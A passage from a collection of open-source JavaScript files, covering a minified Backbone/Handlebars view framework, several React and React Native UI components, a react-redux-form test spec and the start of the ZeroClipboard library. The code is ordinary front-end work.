et=f.model.change;f.model.change=function(){et.apply(this,arguments);var e=this.model&&this._objectOptionsByCid[this.model.cid];e&&e.populate&&this.populate(this.model.attributes,e.populate===!0?{}:e.populate)},f.model.defaultOptions.populate=!0,_.extend(i.View.prototype,{serialize:function(){var e,t,n;for(var r=0;r<arguments.length;++r)typeof arguments[r]=="function"?e=arguments[r]:typeof arguments[r]=="object"&&("stopPropagation"in arguments[r]&&"preventDefault"in arguments[r]?n=arguments[r]:t=arguments[r]);if(n&&!this._preventDuplicateSubmission(n))return;t=_.extend({set:!0,validate:!0,children:!0,silent:!0},t||{});var i=t.attributes||{},s=this,o=[];tt.call(this,t,function(){var e=s._getInputValue(this,t,o);typeof e!="undefined"&&nt.call(this,i,this.name,{mode:"serialize"},function(t,n){t[n]?_.isArray(t[n])?t[n].push(e):t[n]=[t[n],e]:t[n]=e})}),this.trigger("serialize",i,t);if(t.validate){var u=this.validateInput(i);u&&u.length&&(o=o.concat(u)),this.trigger("validate",i,o,t);if(o.length){this.trigger("error",o);return}}return t.set&&this.model&&!this.model.set(i,{silent:t.silent})?!1:(e&&e.call(this,i,_.bind(rt,this)),i)},_preventDuplicateSubmission:function(e,t){e.preventDefault();var n=$(e.target);return(e.target.tagName||"").toLowerCase()!=="form"&&(n=$(e.target).closest("form")),n.attr("data-submit-wait")?!1:(n.attr("data-submit-wait","true"),t&&t.call(this,e),!0)},populate:function(e,t){t=_.extend({children:!0},t||{});var n,e=e||this._getContext();tt.call(this,t,function(){nt.call(this,e,this.name,{mode:"populate"},function(e,t){e&&typeof (n=e[t])!="undefined"&&(this.type==="checkbox"&&_.isBoolean(n)?this.checked=n:this.type==="checkbox"||this.type==="radio"?this.checked=n==this.value:this.value=n)})}),this.trigger("populate",e)},validateInput:function(){},_getInputValue:function(e){if(e.type!=="checkbox"&&e.type!=="radio"){if(e.multiple===!0){var t=[];return $("option",e).each(function(){this.selected&&t.push(this.value)}),t}return e.value}if(e.checked)return e.value}}),i.View.on({error:function(){rt.call(this),this.model&&this.model.previousAttributes&&this.model.set(this.model.previousAttributes(),{silent:!0})},deactivated:function(){rt.call(this)}});var it="data-layout-cid";i.LayoutView=i.View.extend({render:function(e){var t;this.name&&(t=i.Util.getTemplate(this.name,!0));if(e||this.template||t){var n=i.View.prototype.render.call(this,e||this.template||t);return ot.call(this),n}st.call(this)},setView:function(e,t){t=_.extend({scroll:!0,destroy:!0},t||{}),typeof e=="string"&&(e=new(i.Util.registryGet(i,"Views",e,!1))),this.ensureRendered();var n=this._view;return e===n?!1:(t.destroy&&e&&(e._shouldDestroyOnNextSetView=!0),this.trigger("change:view:start",e,n,t),n&&(this._removeChild(n),n.$el.remove(),n.trigger("deactivated",t),n._shouldDestroyOnNextSetView&&n.destroy()),e?(e.trigger("activated",t),this._addChild(e),this._view=e,this._view.appendTo(ut.call(this))):this._view=undefined,this.trigger("change:view:end",e,n,t),e)},getView:function(){return this._view}}),Handlebars.registerHelper("layout",function(e){return e.hash[it]=v(e).view.cid,new Handlebars.SafeString(i.Util.tag.call(this,e.hash,"",this))}),i.Router=Backbone.Router.extend({constructor:function(){var e=i.Router.__super__.constructor.apply(this,arguments);return at.call(this),e},route:function(e,t,n){return n||(n=this[t]),Backbone.Router.prototype.route.call(this,e,t,function(){return this.trigger.apply(this,["route:before",e,t].concat(Array.prototype.slice.call(arguments))),n.apply(this,arguments)})}}),i.Routers={},o(i.Router,i.Routers),i.CollectionHelperView=i.HelperView.extend({events:{"rendered:item":ct("rendered:item"),"rendered:collection":ct("rendered:collection"),"rendered:empty":ct("rendered:empty")},constructor:function(e){_.each(lt,function(t,n){if(e.options[n]){var r=e.options[n];if(t==="itemTemplate"||t==="emptyTemplate")r=i.Util.getTemplate(r);e[t]=r}}),!e.itemTemplate&&e.template&&e.template!==Handlebars.VM.noop&&(e.itemTemplate=e.template,e.template=Handlebars.VM.noop),!e.emptyTemplate&&e.inverse&&e.inverse!==Handlebars.VM.noop&&(e.emptyTemplate=e.inverse,e.inverse=Handlebars.VM.noop),!e.template&&(e.template=Handlebars.VM.noop);var t=i.HelperView.call(this,e);return this.parent.name&&(this.emptyTemplate||(this.emptyTemplate=i.Util.getTemplate(this.parent.name+"-empty",!0)),this.itemTemplate||(this.itemTemplate=i.Util.getTemplate(this.parent.name+"-item",!0))),t},itemContext:function(){return this.parent.itemContext.apply(this.parent,arguments)},setAsPrimaryCollectionHelper:function(e){this.$el.attr(z,e.cid),_.each(ht,function(e){pt.call(this,e)},this),this.parent.itemFilter&&(this.itemFilter=function(){return this.parent.itemFilter.apply(this.parent,arguments)})}});var lt={"item-template":"itemTemplate","empty-template":"emptyTemplate","item-view":"itemView","empty-view":"emptyView","empty-class":"emptyClass"},ht=["itemTemplate","itemView","emptyTemplate","emptyView"];Handlebars.registerViewHelper("collection",i.CollectionHelperView,function(e,t){arguments.length===1&&(t=e,e=t.declaringView.collection),e&&e===t.declaringView.collection&&(H("collection",e),t.setAsPrimaryCollectionHelper(e)),e===t.declaringView.collection&&t.$el.attr(U,"true"),e&&t.setCollection(e)}),Handlebars.registerHelper("collection-element",function(e){return e.hash.tag=e.hash.tag||e.hash.tagName||"div",e.hash[U]=!0,new Handlebars.SafeString(i.Util.tag.call(this,e.hash,"",this))}),Handlebars.registerViewHelper("empty",function(e,t){var n,r;arguments.length===1&&(t=e,e=!1,r=!0);var i=t.render;t.render=function(){return r?n=!this.parent.model||this.parent.model.isEmpty():n=!e||e.isEmpty(),n?(this.parent.trigger("rendered:empty",this,e),i.call(this,this.template)):i.call(this,this.inverse)};var s=_.bind(t.render,t);r?(t.listenTo(t.parent,"change:data-object",function(e,n,r){e==="model"&&(r&&t.stopListening(r),n&&t.listenTo(n,"change",s),s())}),t.parent.model&&t.listenTo(t.parent.model,"change",s)):e&&(t.listenTo(e,"remove",function(){e.length===0&&s()}),t.listenTo(e,"add",function(){e.length===1&&s()}),t.listenTo(e,"reset",s)),s()}),Handlebars.registerHelper("template",function(e,t){var n=_.extend({fn:t&&t.fn},this,t?t.hash:{}),r=v(t).view.renderTemplate(e,n);return new Handlebars.SafeString(r)}),Handlebars.registerHelper("yield",function(e){return v(e).yield&&e.data.yield()}),Handlebars.registerHelper("url",function(e){var t;if(arguments.length>2)t=_.map(_.head(arguments,arguments.length-1),encodeURIComponent).join("/");else{var n=arguments[1],r=n&&n.hash||n;r&&r["expand-tokens"]?t=i.Util.expandToken(e,this):t=e}return(Backbone.history._hasPushState?Backbone.history.options.root:"#")+t}),Handlebars.registerViewHelper("view",{factory:function(e,t){var n=e.length>=1?e[0]:i.View;return i.Util.getViewInstance(n,t.options)},callback:function(){var e=arguments[arguments.length-1],t=e._helperOptions.options,n=e.cid;t.fn&&(C[n]=t.fn)}});var dt="data-call-method",vt="data-trigger-event";Handlebars.registerHelper("button",function(e,t){arguments.length===1&&(t=e,e=t.hash.method);var n=t.hash,r=n["expand-tokens"];delete n["expand-tokens"];if(!e&&!t.hash.trigger)throw new Error("button helper must have a method name as the first argument or a 'trigger', or a 'method' attribute specified.");return n.tag=n.tag||n.tagName||"button",n.trigger&&(n[vt]=n.trigger),delete n.trigger,e&&(n[dt]=e),new Handlebars.SafeString(i.Util.tag(n,t.fn?t.fn(this):"",r?this:null))}),Handlebars.registerHelper("link",function(){var e=_.toArray(arguments),t=e.pop(),n=t.hash,r=e.length===0?[n.href]:e,s=n["expand-tokens"];delete n["expand-tokens"];if(!r[0])throw new Error("link helper requires an href as the first argument or an 'href' attribute");return r.push(t),n.href=Handlebars.helpers.url.apply(this,r),n.tag=n.tag||n.tagName||"a",n.trigger&&(n[vt]=t.hash.trigger),delete n.trigger,n[dt]="_anchorClick",new Handlebars.SafeString(i.Util.tag(n,t.fn?t.fn(this):"",s?this:null))});var mt="["+dt+"], ["+vt+"]",yt;$(document).ready(function(){i._fastClickEventName||bt()});var Et="data-element-tmp";Handlebars.registerHelper("element",function(e,t){var n=_.uniqueId("element"),r=v(t).view,s=i.Util.htmlAttributesFromOptions(t.hash);return s[Et]=n,r._elementsByCid||(r._elementsByCid={}),r._elementsByCid[n]=e,new Handlebars.SafeString(i.Util.tag(s))}),i.View.on("append",function(e,t){(e||this.$el).find("["+Et+"]").forEach(function(e){var n=$(e),r=n.attr(Et),i=this._elementsByCid[r];_.isFunction(i)&&(i=i.call(this)),n.replaceWith(i),t&&t(i)},this)}),Handlebars.registerHelper("super",function(e){var t=v(e).view,n=t.constructor&&t.constructor.__super__;if(n){var r=n.template;if(!r){if(!n.name)throw new Error("Cannot use super helper when parent has no name or template.");r=i.Util.getTemplate(n.name,!1)}return typeof r=="string"&&(r=Handlebars.compile(r,{data:!0})),new Handlebars.SafeString(r(this,e))}return""});var St="load:start",xt="load:end",Tt;i.setRootObject=function(e){Tt=e},i.loadHandler=function(e,t,n){var r=_.uniqueId();return function(s,o,u){function l(){if(f.timeout&&!f.run)return;var t=a._loadingTimeoutDuration!==undefined?a._loadingTimeoutDuration:i.View.prototype._loadingTimeoutDuration;f.timeout=setTimeout(function(){try{f.run=!0,e.call(a,f.message,f.background,f)}catch(t){i.onException("loadStart",t)}},t*1e3)}var a=n||this;a._loadInfo=a._loadInfo||[];var f=a._loadInfo[r];f?(clearTimeout(f.endTimeout),f.message=s,!o&&f.background&&(f.background=!1,l())):(f=a._loadInfo[r]=_.extend({events:[],timeout:0,message:s,background:!!o},Backbone.Events),l()),f.events.push(u),u.on(xt,function c(){u.off(xt,c);var e=a._loadingTimeoutEndDuration;e===void 0&&(e=i.View.prototype._loadingTimeoutEndDuration);var n=f.events,s=n.indexOf(u);s>=0&&n.splice(s,1),n.length||(f.endTimeout=setTimeout(function(){try{if(!n.length){var e=f.run;e&&(t.call(a,f.background,f),f.trigger(xt,f)),clearTimeout(f.timeout),f=a._loadInfo[r]=undefined}}catch(s){i.onException("loadEnd",s)}},e*1e3))})}},i.forwardLoadEvents=function(e,t,n){function r(i,s,o){n&&e.off(St,r),t.trigger(St,i,s,o)}return e.on(St,r),{off:function(){e.off(St,r)}}},i.mixinLoadable=function(e,t){_.extend(e,{_loadingClassName:"loading",_loadingTimeoutDuration:.33,_loadingTimeoutEndDuration:.1,onLoadStart:function(e,n,r){var i=t?this.parent:this;!i.nonBlockingLoad&&!n&&Tt&&Tt!==this&&Tt.trigger(St,e,n,r),$(i.el).addClass(i._loadingClassName),i._loadingCallbacks&&_.each(i._loadingCallbacks,function(e){e()})},onLoadEnd:function(){var e=t?this.parent:this;$(e.el).removeClass(e._loadingClassName),e._loadingCallbacks&&_.each(e._loadingCallbacks,function(e){e()})}})},i.mixinLoadableEvents=function(e,t){_.extend(e,{loadStart:function(e,n){var r=t?this.parent:this;r.trigger(St,e,n,r)},loadEnd:function(){var e=t?this.parent:this;e.trigger(xt,e)}})},i.mixinLoadable(i.View.prototype),i.mixinLoadableEvents(i.View.prototype),i.sync=function(e,t,n){var r=this,i=n.complete;return n.complete=function(){r._request=undefined,r._aborted=!1,i&&i.apply(this,arguments)},this._request=Backbone.sync.apply(this,arguments),this._request};var At=[];i.Model&&At.push(i.Model),i.Collection&&At.push(i.Collection),_.each(At,function(e){var t=e.prototype.fetch;i.mixinLoadableEvents(e.prototype,!1),_.extend(e.prototype,{sync:i.sync,fetch:function(e){e=e||{};var n=this,r=e.complete;return e.complete=function(){r&&r.apply(this,arguments),n.loadEnd()},n.loadStart(undefined,e.background),kt.call(this,e||{},t)},load:function(e,t,n){arguments.length===2&&typeof t!="function"&&(n=t,t=!1),n=n||{},!n.background&&!this.isPopulated()&&Tt&&i.forwardLoadEvents(this,Tt,!0),Ct.call(this,e,t,n)}})}),i.Util.bindToRoute=Nt,i.Router&&(i.Router.bindToRoute=i.Router.prototype.bindToRoute=Nt),i.View.prototype._modifyDataObjectOptions=function(e,t){return t.ignoreErrors=this.ignoreFetchError,t.background=this.nonBlockingLoad,t},i.HelperView.prototype._modifyDataObjectOptions=function(e,t){return t.ignoreErrors=this.parent.ignoreFetchError,t.background=this.parent.nonBlockingLoad,t},f.collection.loading=function(){var e=this.loadingView,t=this.loadingTemplate,n=this.loadingPlacement;if(e||t){var r=i.loadHandler(_.bind(function(){var r;this.collection.length===0&&this.$el.empty();if(e){var s=i.Util.getViewInstance(e,{collection:this.collection});this._addChild(s),t?s.render(t):s.render(),r=s}else r=this.renderTemplate(t);var o=n?n.call(this):this.collection.length;this.appendItem(r,o),this.$el.children().eq(o).attr("data-loading-element",this.collection.cid)},this),_.bind(function(){this.$el.find('[data-loading-element="'+this.collection.cid+'"]').remove()},this),this.collection);this.listenTo(this.collection,"load:start",r)}},typeof lt!="undefined"&&(lt["loading-template"]="loadingTemplate",lt["loading-view"]="loadingView",lt["loading-placement"]="loadingPlacement"),i.View.on({"load:start":i.loadHandler(function(e,t,n){this.onLoadStart(e,t,n)},function(e,t){this.onLoadEnd(t)}),collection:{"load:start":function(e,t,n){this.trigger(St,e,t,n)}},model:{"load:start":function(e,t,n){this.trigger(St,e,t,n)}}}),Handlebars.registerViewHelper("loading",function(e){var t=e.render;e.render=function(){return e.parent.$el.hasClass(e.parent._loadingClassName)?t.call(this,e.fn):t.call(this,e.inverse)};var n=_.bind(e.render,e);e.parent._loadingCallbacks=e.parent._loadingCallbacks||[],e.parent._loadingCallbacks.push(n),e.on("freeze",function(){e.parent._loadingCallbacks=_.without(e.parent._loadingCallbacks,n)}),e.render()});var Ot=/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());Ot&&i.View.on("before:append",function(){this._renderCount>0&&(_.each(this._elementsByCid,function(e){$(e).remove()}),_.each(this.children,function(e){e.$el.remove()}))})}()
|
examples/src/components/AllowCreate.js
|
dhamaniasad/react-select
|
import React from 'react';
import Select from 'react-select';
const FLAVOURS = [
{ label: 'Chocolate', value: 'chocolate' },
{ label: 'Vanilla', value: 'vanilla' },
{ label: 'Strawberry', value: 'strawberry' },
{ label: 'Caramel', value: 'caramel' },
{ label: 'Cookies and Cream', value: 'cookiescream' },
{ label: 'Peppermint', value: 'peppermint' },
];
var AllowCreate = React.createClass({
displayName: 'AllowCreate',
propTypes: {
allowCreate: React.PropTypes.bool,
label: React.PropTypes.string,
},
getInitialState () {
return {
disabled: false,
crazy: false,
options: FLAVOURS,
value: [],
};
},
onLabelClick (data, event) {
console.log(data, event);
},
handleSelectChange (value){
this.setState({ value });
},
renderHint () {
return (
<div className="hint">Create options in tag mode</div>
);
},
render () {
return (
<div className="section">
<h3 className="section-heading">{this.props.label}</h3>
<Select
allowCreate={this.props.allowCreate}
value={this.state.value}
multi={true}
placeholder="Select your favourite(s)"
options={this.state.options}
onChange={this.handleSelectChange} />
{this.renderHint()}
</div>
);
}
});
module.exports = AllowCreate;
|
src/svg-icons/av/mic-none.js
|
verdan/material-ui
|
import React from 'react';
import pure from 'recompose/pure';
import SvgIcon from '../../SvgIcon';
let AvMicNone = (props) => (
<SvgIcon {...props}>
<path d="M12 14c1.66 0 2.99-1.34 2.99-3L15 5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3zm-1.2-9.1c0-.66.54-1.2 1.2-1.2.66 0 1.2.54 1.2 1.2l-.01 6.2c0 .66-.53 1.2-1.19 1.2-.66 0-1.2-.54-1.2-1.2V4.9zm6.5 6.1c0 3-2.54 5.1-5.3 5.1S6.7 14 6.7 11H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c3.28-.48 6-3.3 6-6.72h-1.7z"/>
</SvgIcon>
);
AvMicNone = pure(AvMicNone);
AvMicNone.displayName = 'AvMicNone';
AvMicNone.muiName = 'SvgIcon';
export default AvMicNone;
|
src/components/Feedback/Feedback.js
|
uptive/react-starter-kit
|
/**
* React Starter Kit (https://www.reactstarterkit.com/)
*
* Copyright © 2014-2016 Kriasoft, LLC. All rights reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE.txt file in the root directory of this source tree.
*/
import React from 'react';
import withStyles from 'isomorphic-style-loader/lib/withStyles';
import s from './Feedback.css';
class Feedback extends React.Component {
render() {
return (
<div className={s.root}>
<div className={s.container}>
<a
className={s.link}
href="https://gitter.im/kriasoft/react-starter-kit"
>Ask a question</a>
<span className={s.spacer}>|</span>
<a
className={s.link}
href="https://github.com/kriasoft/react-starter-kit/issues/new"
>Report an issue</a>
</div>
</div>
);
}
}
export default withStyles(s)(Feedback);
|
src/client/search/SearchResultUserPreview.js
|
busyorg/busy
|
import React from 'react';
import PropTypes from 'prop-types';
import { Link } from 'react-router-dom';
import Avatar from '../components/Avatar';
const SearchResultUserPreview = ({ username }) => (
<div className="Search__user">
<Link to={`/@${username}`}>
<Avatar username={username} size={40} />
</Link>
<Link to={`/@${username}`}>
<span className="Search__user__name username">{username}</span>
</Link>
</div>
);
SearchResultUserPreview.propTypes = {
username: PropTypes.string,
};
SearchResultUserPreview.defaultProps = {
username: '',
};
export default SearchResultUserPreview;
|
test/control-strip-defaults-component-spec.js
|
peterox/react-redux-form
|
/* eslint react/no-multi-comp:0 react/jsx-no-bind:0 */
import { assert } from 'chai';
import React from 'react';
import TestUtils from 'react-dom/test-utils';
import { testCreateStore, testRender } from './utils';
import {
modelReducer,
formReducer,
} from '../src';
import ComponentWrapper from '../src/components/control-strip-defaults-component';
describe('<ComponentWrapper> component', () => {
describe('existence check', () => {
it('should exist', () => {
assert.ok(ComponentWrapper);
});
});
describe('should give proper references', () => {
const store = testCreateStore({
test: modelReducer('test', {}),
testForm: formReducer('test', {}),
});
let instance;
function getRef(node) {
instance = node;
}
it('should give a ref', () => {
const control = testRender(
<ComponentWrapper
component="input"
getRef={getRef}
/>, store);
const input = TestUtils.findRenderedDOMComponentWithTag(control, 'input');
assert.equal(instance, input);
});
});
describe('should prevent the defaultValue and defaultChecked from propagating', () => {
const store = testCreateStore({
test: modelReducer('test', {}),
testForm: formReducer('test', {}),
});
describe('Text components', () => {
it('should still allow default values on basic input elements', () => {
const control = testRender(
<input
defaultValue="blah"
/>, store);
const input = TestUtils.findRenderedDOMComponentWithTag(control, 'input');
assert.equal(input.defaultValue, 'blah');
});
it('should work on basic input component', () => {
const control = testRender(
<ComponentWrapper
component="input"
defaultValue="blah"
/>, store);
const input = TestUtils.findRenderedDOMComponentWithTag(control, 'input');
assert.equal(input.defaultValue, '');
});
const TEXT_TYPES = ['email', 'password', 'tel', 'text', 'url'];
TEXT_TYPES.forEach((type) => {
it(`should work on all text input component types: ${type}`, () => {
const control = testRender(
<ComponentWrapper
component="input"
type={type}
defaultValue="blah"
/>, store);
const input = TestUtils.findRenderedDOMComponentWithTag(control, 'input');
assert.equal(input.defaultValue, '');
});
});
});
describe('Checkbox component', () => {
it('should work on basic default checked checkbox component', () => {
const control = testRender(
<ComponentWrapper
component="input"
type="checkbox"
defaultChecked
/>, store);
const input = TestUtils.findRenderedDOMComponentWithTag(control, 'input');
assert.equal(input.defaultChecked, false);
});
it('should work on basic default unchecked checkbox component', () => {
const control = testRender(
<ComponentWrapper
component="input"
type="checkbox"
defaultChecked={false}
/>, store);
const input = TestUtils.findRenderedDOMComponentWithTag(control, 'input');
assert.equal(input.defaultChecked, false);
});
});
});
});
|
Components/Dropdown.js
|
webismymind/Mycelium
|
import React from 'react';
import Component from './Component';
import { Easing, StyleSheet, Text, View, Animated ,TouchableOpacity,FlatList} from 'react-native';
import Icon from 'react-native-vector-icons/FontAwesome';
import Stack from'../Utils/Stack';
class DropdownModale extends Component {
onItemSelected = (value) => {
let callback = this.props.onItemSelected || function() {};
callback(value);
Stack.getItem('rootApp').dropdownModale.hide();
}
render() {
return (
<View style={styles.modaleWrapper}>
<TouchableOpacity style={styles.closeModale} onPress={()=> {Stack.getItem('rootApp').dropdownModale.hide();}}>
<Icon name="times" color='grey' size={15} />
</TouchableOpacity>
<Text style={styles.modalTitle}>{this.props.title || 'Select an option'}</Text>
<FlatList
style={styles.list}
data={this.props.choices}
enableEmptySections={true}
renderRow={(rowData) => { return (
<TouchableOpacity style={styles.listItem} onPress={() => {this.onItemSelected(rowData)}}>
<Text>{ rowData.label}</Text>
</TouchableOpacity>
);
}} />
</View>
);
}
}
export default class extends Component {
constructor(props) {
super(props);
}
onItemSelected = (value) => {
let callback = this.props.onChange || function() {};
callback(value);
}
selectValue = () => {
let choices = this.props.choices;
Stack.getItem('rootApp').dropdownModale.setContent(<DropdownModale title={this.props.title || false} value={this.props.value} choices= {choices} onItemSelected={this.onItemSelected} />);
Stack.getItem('rootApp').dropdownModale.show();
}
render() {
return (
<TouchableOpacity onPress={this.selectValue} style={styles.button}>
{typeof this.props.value !== 'undefined' &&<Text style={{color:(this.props.color || 'black')}} >{this.props.value.label}</Text>}
{typeof this.props.value === 'undefined' &&<Text style={styles.placeholder}>{this.props.placeholder || 'Select a value'}</Text>}
</TouchableOpacity>
)
}
}
const styles = StyleSheet.create({
modaleWrapper: {
backgroundColor:'white',
//padding:10,
},
button : {
padding:5,
},
placeholder: {
color:'grey',
},
closeModale : {
position:'absolute',
right:10,
top:10,
zIndex:10,
},
list : {
marginTop:40,
borderTopWidth:1,
borderTopColor:'#eeeeee'
},
listItem: {
padding:10,
borderBottomWidth:1,
borderBottomColor:'#eeeeee'
},
modalTitle: {
position:'absolute',
left:10,
top:10,
right:30,
color:'grey',
}
});
|
ajax/libs/zeroclipboard/2.0.3/ZeroClipboard.js
|
thetable/cdnjs
|
/*!
* ZeroClipboard
* The ZeroClipboard library provides an easy way to copy text to the clipboard using an invisible Adobe Flash movie and a JavaScript interface.
* Copyright (c) 2014 Jon Rohan, James M. Greene
* Licensed MIT
* http://zeroclipboard.org/
* v2.0.3
*/
(function(window, undefined) {
"use strict";
/**
* Store references to critically important global functions that may be
* overridden on certain web pages.
*/
var _window = window, _document = _window.document, _navigator = _window.navigator, _setTimeout = _window.setTimeout, _parseInt = _window.Number.parseInt || _window.parseInt, _parseFloat = _window.Number.parseFloat || _window.parseFloat, _isNaN = _window.Number.isNaN || _window.isNaN, _encodeURIComponent = _window.encodeURIComponent, _Math = _window.Math, _Date = _window.Date, _ActiveXObject = _window.ActiveXObject, _slice = _window.Array.prototype.slice, _keys = _window.Object.keys, _hasOwn = _window.Object.prototype.hasOwnProperty, _defineProperty = function() {
if (typeof _window.Object.defineProperty === "function" && function() {
try {
var x = {};
_window.Object.defineProperty(x, "y", {
value: "z"
});
return x.y === "z";
} catch (e) {
return false;
}
}()) {
return _window.Object.defineProperty;
}
}();
/**
* Convert an `arguments` object into an Array.
*
* @returns The arguments as an Array
* @private
*/
var _args = function(argumentsObj) {
return _slice.call(argumentsObj, 0);
};
/**
* Get the index of an item in an Array.
*
* @returns The index of an item in the Array, or `-1` if not found.
* @private
*/
var _inArray = function(item, array, fromIndex) {
if (typeof array.indexOf === "function") {
return array.indexOf(item, fromIndex);
}
var i, len = array.length;
if (typeof fromIndex === "undefined") {
fromIndex = 0;
} else if (fromIndex < 0) {
fromIndex = len + fromIndex;
}
for (i = fromIndex; i < len; i++) {
if (_hasOwn.call(array, i) && array[i] === item) {
return i;
}
}
return -1;
};
/**
* Shallow-copy the owned, enumerable properties of one object over to another, similar to jQuery's `$.extend`.
*
* @returns The target object, augmented
* @private
*/
var _extend = function() {
var i, len, arg, prop, src, copy, args = _args(arguments), target = args[0] || {};
for (i = 1, len = args.length; i < len; i++) {
if ((arg = args[i]) != null) {
for (prop in arg) {
if (_hasOwn.call(arg, prop)) {
src = target[prop];
copy = arg[prop];
if (target === copy) {
continue;
}
if (copy !== undefined) {
target[prop] = copy;
}
}
}
}
}
return target;
};
/**
* Return a deep copy of the source object or array.
*
* @returns Object or Array
* @private
*/
var _deepCopy = function(source) {
var copy, i, len, prop;
if (typeof source !== "object" || source == null) {
copy = source;
} else if (typeof source.length === "number") {
copy = [];
for (i = 0, len = source.length; i < len; i++) {
if (_hasOwn.call(source, i)) {
copy[i] = _deepCopy(source[i]);
}
}
} else {
copy = {};
for (prop in source) {
if (_hasOwn.call(source, prop)) {
copy[prop] = _deepCopy(source[prop]);
}
}
}
return copy;
};
/**
* Makes a shallow copy of `obj` (like `_extend`) but filters its properties based on a list of `keys` to keep.
* The inverse of `_omit`, mostly. The big difference is that these properties do NOT need to be enumerable to
* be kept.
*
* @returns A new filtered object.
* @private
*/
var _pick = function(obj, keys) {
var newObj = {};
for (var i = 0, len = keys.length; i < len; i++) {
if (keys[i] in obj) {
newObj[keys[i]] = obj[keys[i]];
}
}
return newObj;
};
/**
* Makes a shallow copy of `obj` (like `_extend`) but filters its properties based on a list of `keys` to omit.
* The inverse of `_pick`.
*
* @returns A new filtered object.
* @private
*/
var _omit = function(obj, keys) {
var newObj = {};
for (var prop in obj) {
if (_inArray(prop, keys) === -1) {
newObj[prop] = obj[prop];
}
}
return newObj;
};
/**
* Get all of an object's owned, enumerable property names. Does NOT include prototype properties.
*
* @returns An Array of property names.
* @private
*/
var _objectKeys = function(obj) {
if (obj == null) {
return [];
}
if (_keys) {
return _keys(obj);
}
var keys = [];
for (var prop in obj) {
if (_hasOwn.call(obj, prop)) {
keys.push(prop);
}
}
return keys;
};
/**
* Remove all owned, enumerable properties from an object.
*
* @returns The original object without its owned, enumerable properties.
* @private
*/
var _deleteOwnProperties = function(obj) {
if (obj) {
for (var prop in obj) {
if (_hasOwn.call(obj, prop)) {
delete obj[prop];
}
}
}
return obj;
};
/**
* Mark an existing property as read-only.
* @private
*/
var _makeReadOnly = function(obj, prop) {
if (prop in obj && typeof _defineProperty === "function") {
_defineProperty(obj, prop, {
value: obj[prop],
writable: false,
configurable: true,
enumerable: true
});
}
};
/**
* Get the current time in milliseconds since the epoch.
*
* @returns Number
* @private
*/
var _now = function(Date) {
return function() {
var time;
if (Date.now) {
time = Date.now();
} else {
time = new Date().getTime();
}
return time;
};
}(_Date);
/**
* Determine if an element is contained within another element.
*
* @returns Boolean
* @private
*/
var _containedBy = function(el, ancestorEl) {
if (el && el.nodeType === 1 && ancestorEl && (ancestorEl.nodeType === 1 || ancestorEl.nodeType === 9)) {
do {
if (el === ancestorEl) {
return true;
}
el = el.parentNode;
} while (el);
}
return false;
};
/**
* Keep track of the state of the Flash object.
* @private
*/
var _flashState = {
bridge: null,
version: "0.0.0",
pluginType: "unknown",
disabled: null,
outdated: null,
unavailable: null,
deactivated: null,
overdue: null,
ready: null
};
/**
* The minimum Flash Player version required to use ZeroClipboard completely.
* @readonly
* @private
*/
var _minimumFlashVersion = "11.0.0";
/**
* Keep track of all event listener registrations.
* @private
*/
var _handlers = {};
/**
* Keep track of the currently activated element.
* @private
*/
var _currentElement;
/**
* Keep track of data for the pending clipboard transaction.
* @private
*/
var _clipData = {};
/**
* Keep track of data formats for the pending clipboard transaction.
* @private
*/
var _clipDataFormatMap = null;
/**
* The `message` store for events
* @private
*/
var _eventMessages = {
ready: "Flash communication is established",
error: {
"flash-disabled": "Flash is disabled or not installed",
"flash-outdated": "Flash is too outdated to support ZeroClipboard",
"flash-unavailable": "Flash is unable to communicate bidirectionally with JavaScript",
"flash-deactivated": "Flash is too outdated for your browser and/or is configured as click-to-activate",
"flash-overdue": "Flash communication was established but NOT within the acceptable time limit"
}
};
/**
* The presumed location of the "ZeroClipboard.swf" file, based on the location
* of the executing JavaScript file (e.g. "ZeroClipboard.js", etc.).
* @private
*/
var _swfPath = function() {
var i, jsDir, tmpJsPath, jsPath, swfPath = "ZeroClipboard.swf";
if (!(_document.currentScript && (jsPath = _document.currentScript.src))) {
var scripts = _document.getElementsByTagName("script");
if ("readyState" in scripts[0]) {
for (i = scripts.length; i--; ) {
if (scripts[i].readyState === "interactive" && (jsPath = scripts[i].src)) {
break;
}
}
} else if (_document.readyState === "loading") {
jsPath = scripts[scripts.length - 1].src;
} else {
for (i = scripts.length; i--; ) {
tmpJsPath = scripts[i].src;
if (!tmpJsPath) {
jsDir = null;
break;
}
tmpJsPath = tmpJsPath.split("#")[0].split("?")[0];
tmpJsPath = tmpJsPath.slice(0, tmpJsPath.lastIndexOf("/") + 1);
if (jsDir == null) {
jsDir = tmpJsPath;
} else if (jsDir !== tmpJsPath) {
jsDir = null;
break;
}
}
if (jsDir !== null) {
jsPath = jsDir;
}
}
}
if (jsPath) {
jsPath = jsPath.split("#")[0].split("?")[0];
swfPath = jsPath.slice(0, jsPath.lastIndexOf("/") + 1) + swfPath;
}
return swfPath;
}();
/**
* ZeroClipboard configuration defaults for the Core module.
* @private
*/
var _globalConfig = {
swfPath: _swfPath,
trustedDomains: window.location.host ? [ window.location.host ] : [],
cacheBust: true,
forceEnhancedClipboard: false,
flashLoadTimeout: 3e4,
autoActivate: true,
bubbleEvents: true,
containerId: "global-zeroclipboard-html-bridge",
containerClass: "global-zeroclipboard-container",
swfObjectId: "global-zeroclipboard-flash-bridge",
hoverClass: "zeroclipboard-is-hover",
activeClass: "zeroclipboard-is-active",
forceHandCursor: false,
title: null,
zIndex: 999999999
};
/**
* The underlying implementation of `ZeroClipboard.config`.
* @private
*/
var _config = function(options) {
if (typeof options === "object" && options !== null) {
for (var prop in options) {
if (_hasOwn.call(options, prop)) {
if (/^(?:forceHandCursor|title|zIndex|bubbleEvents)$/.test(prop)) {
_globalConfig[prop] = options[prop];
} else if (_flashState.bridge == null) {
if (prop === "containerId" || prop === "swfObjectId") {
if (_isValidHtml4Id(options[prop])) {
_globalConfig[prop] = options[prop];
} else {
throw new Error("The specified `" + prop + "` value is not valid as an HTML4 Element ID");
}
} else {
_globalConfig[prop] = options[prop];
}
}
}
}
}
if (typeof options === "string" && options) {
if (_hasOwn.call(_globalConfig, options)) {
return _globalConfig[options];
}
return;
}
return _deepCopy(_globalConfig);
};
/**
* The underlying implementation of `ZeroClipboard.state`.
* @private
*/
var _state = function() {
return {
browser: _pick(_navigator, [ "userAgent", "platform", "appName" ]),
flash: _omit(_flashState, [ "bridge" ]),
